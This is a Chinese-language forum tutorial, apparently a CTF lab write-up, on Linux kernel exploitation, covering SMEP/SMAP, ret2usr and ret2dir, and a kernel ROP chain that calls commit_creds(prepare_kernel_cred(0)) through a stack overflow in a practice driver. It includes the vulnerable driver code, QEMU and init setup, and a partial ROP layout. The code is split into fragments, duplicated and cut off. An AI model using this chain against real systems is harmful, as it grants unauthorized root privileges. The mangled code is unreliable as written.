-
-
[原创]Linux Kernel Pwn_0_kernel ROP与驱动调试
-
发表于: 2020-10-3 11:13 8236
-
title: Linux Kernel pwn(0)——kernel ROP
date: 2020-07-12 13:31:38
tags:
categories: kernel
SMAP(Supervisor Mode Access Prevention,管理模式访问保护)和SMEP(Supervisor Mode Execution Prevention,管理模式执行保护)的作用分别是禁止内核访问用户空间的数据和禁止内核执行用户空间的代码。arm里面叫PXN(Privilege Execute Never)和PAN(Privileged Access Never)。SMEP类似于前面说的NX,不过一个是在内核态中,一个是在用户态中。和NX一样SMAP/SMEP需要处理器支持,可以通过cat /proc/cpuinfo查看,在内核命令行中添加nosmap和nosmep禁用。windows系统从win8开始启用SMEP,windows内核枚举哪些处理器的特性可用,当它看到处理器支持SMEP时通过在CR4寄存器中设置适当的位来表示应该强制执行SMEP,可以通过ROP或者jmp到一个RWX的内核地址绕过。linux内核从3.0开始支持SMEP,3.7开始支持SMAP。
在没有SMAP/SMEP的情况下把内核指针重定向到用户空间的漏洞利用方式被称为ret2usr。physmap是内核管理的一块非常大的连续的虚拟内存空间,为了提高效率,该空间地址和RAM地址直接映射。RAM相对physmap要小得多,导致了任何一个RAM地址都可以在physmap中找到其对应的虚拟内存地址。另一方面,我们知道用户空间的虚拟内存也会映射到RAM。这就存在两个虚拟内存地址(一个在physmap地址,一个在用户空间地址)映射到同一个RAM地址的情况。也就是说,我们在用户空间里创建的数据,代码很有可能映射到physmap空间。基于这个理论在用户空间用mmap()把提权代码映射到内存,然后再在physmap里找到其对应的副本,修改EIP跳到副本执行就可以了。因为physmap本身就是在内核空间里,所以SMAP/SMEP都不会发挥作用。这种漏洞利用方式叫ret2dir。
简单来讲就是隔离了内核和用户空间,内核没法用用户空间的代码。
类似于用户态的canary?
当然在内核中也是有这种防护的,编译内核时设置CONFIG_CC_STACKPROTECTOR选项即可,该补丁是Tejun Heo在09年给主线kernel提交的。2.6.24:首次出现该编译选项并实现了x64平台的进程上下文栈保护支持。2.6.30:新增对内核中断上下文的栈保护和对x32平台进程上下文栈保护支持。3.14:对该功能进行了一次升级以支持gcc的-fstack-protector-strong参数,提供更大范围的栈保护关于函数返回地址的问题属于CFI(Control Flow Integrity,控制流完整性保护)中的后向控制流完整性保护。近几年人们提出了safe-stack和shadow-call-stack引入一个专门存储返回地址的栈替代Stack Protector。可以从下图看到shadow-call-stack开销更小一点。这项技术已经应用于android,而linux内核仍然在等待硬件的支持。
在linux内核漏洞利用中常常使用commit_creds和prepare_kernel_cred来完成提权,它们的地址可以从/proc/kallsyms中读取。从Ubuntu 11.04和RHEL 7开始,/proc/sys/kernel/kptr_restrict被默认设置为1以阻止通过这种方式泄露内核地址。(非root用户不可读取)
内核地址随机化,类似于用户态的alsr,非默认开始
一般调用commit_creds(prepare_kernel_cred(0))
完成提权然后用户态“着陆”起shell
kernel用cred结构体记录进程的权限(每个进程中都有一个cred结构),保存了进程权限相关信息(uid、gid),如果能修改这个cred,就完成了提权
2.bzImage:Linux内核镜像文件
相关选项:
现在在文件夹目录下有一个core目录,里面就是文件系统了。效果如下这里要注意一下gen.sh
他是用来打包文件系统的脚本并生成rootfs.img
如下:find .| cpio -o --format=newc > ../rootfs.img
这里把/proc/kallsyms拷贝到/tmp/kallsyms里,并且设置了sid和uidgid,明显不是root用户的。
/proc/kallsyms与内核符号相关
dangerous函数
1.启动起来后执行cat /tmp/kallsyms | grep startup_64
得到:ffffffff89e00000 T startup_64
若此时startup_64不为0xffffffff81000000则差值就是内核基地址的加载偏移
2.得到prepare_kernel_cred
地址ffffffff89e834b0 T prepare_kernel_cred
3.得到commit_creds
地址ffffffff89e83190 T commit_creds
进入内核前保存用户态数据:
iretq
的堆栈布局如下
新的用户空间指令指针(RIP),用户空间堆栈指针(RSP),代码和堆栈段选择器(CS和SS)以及具有各种状态信息的EFLAGS寄存器。
最终rop布置
发现ROPgadget中找不到iretq
在这里直接去搜索48 CF
找到iretq
opt+B
注意这里一定要做静态编译,因为内核中没有glibc这些玩意。
效果:
https://blog.csdn.net/u013686019/article/details/26846571/
https://www.anquanke.com/post/id/172216
https://www.povcfe.site/2020/05/16/kernel-rop/
https://xz.aliyun.com/t/2306
https://xz.aliyun.com/t/2054?accounttraceid=913e28d0aee642b792d6762fbc95e68ahnaw
安全防护机制
https://bbs.pediy.com/thread-226696.htm
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;
/
*
number of processes subscribed
*
/
void
*
put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid;
/
*
real UID of the task
*
/
kgid_t gid;
/
*
real GID of the task
*
/
kuid_t suid;
/
*
saved UID of the task
*
/
kgid_t sgid;
/
*
saved GID of the task
*
/
kuid_t euid;
/
*
effective UID of the task
*
/
kgid_t egid;
/
*
effective GID of the task
*
/
kuid_t fsuid;
/
*
UID
for
VFS ops
*
/
kgid_t fsgid;
/
*
GID
for
VFS ops
*
/
unsigned securebits;
/
*
SUID
-
less security management
*
/
kernel_cap_t cap_inheritable;
/
*
caps our children can inherit
*
/
kernel_cap_t cap_permitted;
/
*
caps we're permitted
*
/
kernel_cap_t cap_effective;
/
*
caps we can actually use
*
/
kernel_cap_t cap_bset;
/
*
capability bounding
set
*
/
kernel_cap_t cap_ambient;
/
*
Ambient capability
set
*
/
#ifdef CONFIG_KEYS
unsigned char jit_keyring;
/
*
default keyring to attach requested
/
*
keys to
*
/
struct key __rcu
*
session_keyring;
/
*
keyring inherited over fork
*
/
struct key
*
process_keyring;
/
*
keyring private to this process
*
/
struct key
*
thread_keyring;
/
*
keyring private to this thread
*
/
struct key
*
request_key_auth;
/
*
assumed request_key authority
*
/
#endif
#ifdef CONFIG_SECURITY
void
*
security;
/
*
subjective LSM security
*
/
#endif
struct user_struct
*
user;
/
*
real user
ID
subscription
*
/
struct user_namespace
*
user_ns;
/
*
user_ns the caps
and
keyrings are relative to.
*
/
struct group_info
*
group_info;
/
*
supplementary groups
for
euid
/
fsgid
*
/
struct rcu_head rcu;
/
*
RCU deletion hook
*
/
} __randomize_layout;
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers;
/
*
number of processes subscribed
*
/
void
*
put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid;
/
*
real UID of the task
*
/
kgid_t gid;
/
*
real GID of the task
*
/
kuid_t suid;
/
*
saved UID of the task
*
/
kgid_t sgid;
/
*
saved GID of the task
*
/
kuid_t euid;
/
*
effective UID of the task
*
/
kgid_t egid;
/
*
effective GID of the task
*
/
kuid_t fsuid;
/
*
UID
for
VFS ops
*
/
kgid_t fsgid;
/
*
GID
for
VFS ops
*
/
unsigned securebits;
/
*
SUID
-
less security management
*
/
kernel_cap_t cap_inheritable;
/
*
caps our children can inherit
*
/
kernel_cap_t cap_permitted;
/
*
caps we're permitted
*
/
kernel_cap_t cap_effective;
/
*
caps we can actually use
*
/
kernel_cap_t cap_bset;
/
*
capability bounding
set
*
/
kernel_cap_t cap_ambient;
/
*
Ambient capability
set
*
/
#ifdef CONFIG_KEYS
unsigned char jit_keyring;
/
*
default keyring to attach requested
/
*
keys to
*
/
struct key __rcu
*
session_keyring;
/
*
keyring inherited over fork
*
/
struct key
*
process_keyring;
/
*
keyring private to this process
*
/
struct key
*
thread_keyring;
/
*
keyring private to this thread
*
/
struct key
*
request_key_auth;
/
*
assumed request_key authority
*
/
#endif
#ifdef CONFIG_SECURITY
void
*
security;
/
*
subjective LSM security
*
/
#endif
struct user_struct
*
user;
/
*
real user
ID
subscription
*
/
struct user_namespace
*
user_ns;
/
*
user_ns the caps
and
keyrings are relative to.
*
/
struct group_info
*
group_info;
/
*
supplementary groups
for
euid
/
fsgid
*
/
struct rcu_head rcu;
/
*
RCU deletion hook
*
/
} __randomize_layout;
ENTRY(entry_SYSCALL_64)
/
*
*
Interrupts are off on entry.
*
We do
not
frame this tiny irq
-
off block with TRACE_IRQS_OFF
/
ON,
*
it
is
too small to ever cause noticeable irq latency.
*
/
SWAPGS_UNSAFE_STACK
/
/
swapgs
/
*
*
A hypervisor implementation might want to use a label
*
after the swapgs, so that it can do the swapgs
*
for
the guest
and
jump here on syscall.
*
/
GLOBAL(entry_SYSCALL_64_after_swapgs)
movq
%
rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack),
%
rsp
TRACE_IRQS_OFF
/
*
Construct struct pt_regs on stack
*
/
pushq $__USER_DS
/
*
pt_regs
-
>ss
*
/
pushq PER_CPU_VAR(rsp_scratch)
/
*
pt_regs
-
>sp
*
/
pushq
%
r11
/
*
pt_regs
-
>flags
*
/
pushq $__USER_CS
/
*
pt_regs
-
>cs
*
/
pushq
%
rcx
/
*
pt_regs
-
>ip
*
/
pushq
%
rax
/
*
pt_regs
-
>orig_ax
*
/
pushq
%
rdi
/
*
pt_regs
-
>di
*
/
pushq
%
rsi
/
*
pt_regs
-
>si
*
/
pushq
%
rdx
/
*
pt_regs
-
>dx
*
/
pushq
%
rcx
/
*
pt_regs
-
>cx
*
/
pushq $
-
ENOSYS
/
*
pt_regs
-
>ax
*
/
pushq
%
r8
/
*
pt_regs
-
>r8
*
/
pushq
%
r9
/
*
pt_regs
-
>r9
*
/
pushq
%
r10
/
*
pt_regs
-
>r10
*
/
pushq
%
r11
/
*
pt_regs
-
>r11
*
/
sub $(
6
*
8
),
%
rsp
/
*
pt_regs
-
>bp, bx, r12
-
15
not
saved
*
/
/
*
*
If we need to do entry work
or
if
we guess we'll need to do
*
exit work, go straight to the slow path.
*
/
movq PER_CPU_VAR(current_task),
%
r11
testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(
%
r11)
jnz entry_SYSCALL64_slow_path
ENTRY(entry_SYSCALL_64)
/
*
*
Interrupts are off on entry.
*
We do
not
frame this tiny irq
-
off block with TRACE_IRQS_OFF
/
ON,
*
it
is
too small to ever cause noticeable irq latency.
*
/
SWAPGS_UNSAFE_STACK
/
/
swapgs
/
*
*
A hypervisor implementation might want to use a label
*
after the swapgs, so that it can do the swapgs
*
for
the guest
and
jump here on syscall.
*
/
GLOBAL(entry_SYSCALL_64_after_swapgs)
movq
%
rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack),
%
rsp
TRACE_IRQS_OFF
/
*
Construct struct pt_regs on stack
*
/
pushq $__USER_DS
/
*
pt_regs
-
>ss
*
/
pushq PER_CPU_VAR(rsp_scratch)
/
*
pt_regs
-
>sp
*
/
pushq
%
r11
/
*
pt_regs
-
>flags
*
/
pushq $__USER_CS
/
*
pt_regs
-
>cs
*
/
pushq
%
rcx
/
*
pt_regs
-
>ip
*
/
pushq
%
rax
/
*
pt_regs
-
>orig_ax
*
/
pushq
%
rdi
/
*
pt_regs
-
>di
*
/
pushq
%
rsi
/
*
pt_regs
-
>si
*
/
pushq
%
rdx
/
*
pt_regs
-
>dx
*
/
pushq
%
rcx
/
*
pt_regs
-
>cx
*
/
pushq $
-
ENOSYS
/
*
pt_regs
-
>ax
*
/
pushq
%
r8
/
*
pt_regs
-
>r8
*
/
pushq
%
r9
/
*
pt_regs
-
>r9
*
/
pushq
%
r10
/
*
pt_regs
-
>r10
*
/
pushq
%
r11
/
*
pt_regs
-
>r11
*
/
sub $(
6
*
8
),
%
rsp
/
*
pt_regs
-
>bp, bx, r12
-
15
not
saved
*
/
/
*
*
If we need to do entry work
or
if
we guess we'll need to do
*
exit work, go straight to the slow path.
*
/
movq PER_CPU_VAR(current_task),
%
r11
testl $_TIF_WORK_SYSCALL_ENTRY|_TIF_ALLWORK_MASK, TASK_TI_flags(
%
r11)
jnz entry_SYSCALL64_slow_path
entry_SYSCALL64_slow_path:
/
*
IRQs are off.
*
/
SAVE_EXTRA_REGS
movq
%
rsp,
%
rdi
call do_syscall_64
/
*
returns with IRQs disabled
*
/
entry_SYSCALL64_slow_path:
/
*
IRQs are off.
*
/
SAVE_EXTRA_REGS
movq
%
rsp,
%
rdi
call do_syscall_64
/
*
returns with IRQs disabled
*
/
qemu
-
system
-
x86_64 \
"默认使用qemu启动"
-
kernel bzImage \
"Linux内核镜像文件"
-
initrd rootfs.img \
"打包后的文件系统"
-
append
"console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet"
\
"启动界面为终端、内存文件系统RamDisk、"
-
cpu qemu64,
+
smep,
+
smap \
"开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误"
-
nographic \
"非图形界面"
qemu
-
system
-
x86_64 \
"默认使用qemu启动"
-
kernel bzImage \
"Linux内核镜像文件"
-
initrd rootfs.img \
"打包后的文件系统"
-
append
"console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet"
\
"启动界面为终端、内存文件系统RamDisk、"
-
cpu qemu64,
+
smep,
+
smap \
"开启了smap、smep机制,这意味着,内核态里面不能直接访问用户态的数据,而应该拷贝到内核的空间;内核态不能执行用户空间的代码,否则会触发页错误"
-
nographic \
"非图形界面"
-
cpu kvm64,
+
smep,
+
smap 设置 CPU的安全选项, 这里开启了 smap 和 smep
-
kernel 设置内核 bzImage 文件的路径
-
initrd 设置(利用 busybox 创建的 )rootfs.img ,作为内核启动的文件系统
-
gdb tcp::
1234
设置 gdb 的调试端口 为
1234
-
cpu kvm64,
+
smep,
+
smap 设置 CPU的安全选项, 这里开启了 smap 和 smep
-
kernel 设置内核 bzImage 文件的路径
-
initrd 设置(利用 busybox 创建的 )rootfs.img ,作为内核启动的文件系统
-
gdb tcp::
1234
设置 gdb 的调试端口 为
1234
cp rootfs.img rootfs.cpio
mkdir core
cd core
mv ..
/
rootfs.cpio .
/
cpio
-
idmv < rootfs.cpio
cp rootfs.img rootfs.cpio
mkdir core
cd core
mv ..
/
rootfs.cpio .
/
cpio
-
idmv < rootfs.cpio
#!/bin/sh
mount
-
t proc none
/
proc
mount
-
t sysfs none
/
sys
echo
/
sbin
/
mdev >
/
proc
/
sys
/
kernel
/
hotplug
/
sbin
/
mdev
-
s
insmod
/
home
/
pwn
/
rop.ko
chmod
-
R
111
/
bin
chmod
-
R
111
/
usr
/
bin
chmod
-
R
111
/
sbin
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
# 当/proc/sys/kernel/kptr_restrict=1时,普通用户不能通过/proc/kallsyms读取函数地址,为减少难度直接将kallsyms内容写入临时目录
chmod
666
/
tmp
/
kallsyms
chown
-
R
1000
:
1000
/
home
/
pwn
chown
0
:
0
/
flag
chmod
700
/
flag
chmod
666
/
dev
/
rop_dev
cd
/
home
/
pwn
setsid cttyhack setuidgid
1000
sh
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
#!/bin/sh
mount
-
t proc none
/
proc
mount
-
t sysfs none
/
sys
echo
/
sbin
/
mdev >
/
proc
/
sys
/
kernel
/
hotplug
/
sbin
/
mdev
-
s
insmod
/
home
/
pwn
/
rop.ko
chmod
-
R
111
/
bin
chmod
-
R
111
/
usr
/
bin
chmod
-
R
111
/
sbin
cat
/
proc
/
kallsyms >
/
tmp
/
kallsyms
# 当/proc/sys/kernel/kptr_restrict=1时,普通用户不能通过/proc/kallsyms读取函数地址,为减少难度直接将kallsyms内容写入临时目录
chmod
666
/
tmp
/
kallsyms
chown
-
R
1000
:
1000
/
home
/
pwn
chown
0
:
0
/
flag
chmod
700
/
flag
chmod
666
/
dev
/
rop_dev
cd
/
home
/
pwn
setsid cttyhack setuidgid
1000
sh
umount
/
proc
umount
/
sys
poweroff
-
d
0
-
f
void __cdecl dangerous(size_t num)
{
char overflow[
16
];
/
/
[rsp
+
8h
] [rbp
-
18h
]
unsigned __int64 v2;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v2
=
__readgsqword(
0x28u
);
*
(_QWORD
*
)overflow
=
0LL
;
*
(_QWORD
*
)&overflow[
8
]
=
0LL
;
printk(&unk_37F, v2);
/
/
打出canary
memcpy(overflow, kernel_buf, num);
}
void __cdecl dangerous(size_t num)
{
char overflow[
16
];
/
/
[rsp
+
8h
] [rbp
-
18h
]
unsigned __int64 v2;
/
/
[rsp
+
18h
] [rbp
-
8h
]
v2
=
__readgsqword(
0x28u
);
*
(_QWORD
*
)overflow
=
0LL
;
*
(_QWORD
*
)&overflow[
8
]
=
0LL
;
printk(&unk_37F, v2);
/
/
打出canary
memcpy(overflow, kernel_buf, num);
}
size_t user_cs, user_ss, user_rflags, user_sp;
/
/
保存用户态寄存器状态
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
size_t user_cs, user_ss, user_rflags, user_sp;
/
/
保存用户态寄存器状态
void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| RIP |<
=
=
low mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| CS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| EFLAGS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| RSP |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| SS |<
=
=
high mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| RIP |<
=
=
low mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| CS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| EFLAGS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| RSP |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| SS |<
=
=
high mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| pop rdi; ret |<
=
=
low mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| NULL |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| addr of |
| prepare_kernel_cred()|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| test al,
1
; ret |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
|mov rdi, rax |
|test rax, rax |
|jne
0xffffffff810f1220
|
| ret |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| addr of |
| commit_creds() |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| swapgs; |
| pop rbp; ret |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| NULL |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| iretq; |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| shell |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| user_CS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| user_EFLAGS |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| user_RSP |
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| user_SS |<
=
=
high mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| pop rdi; ret |<
=
=
low mem
|
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
|
| NULL |
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)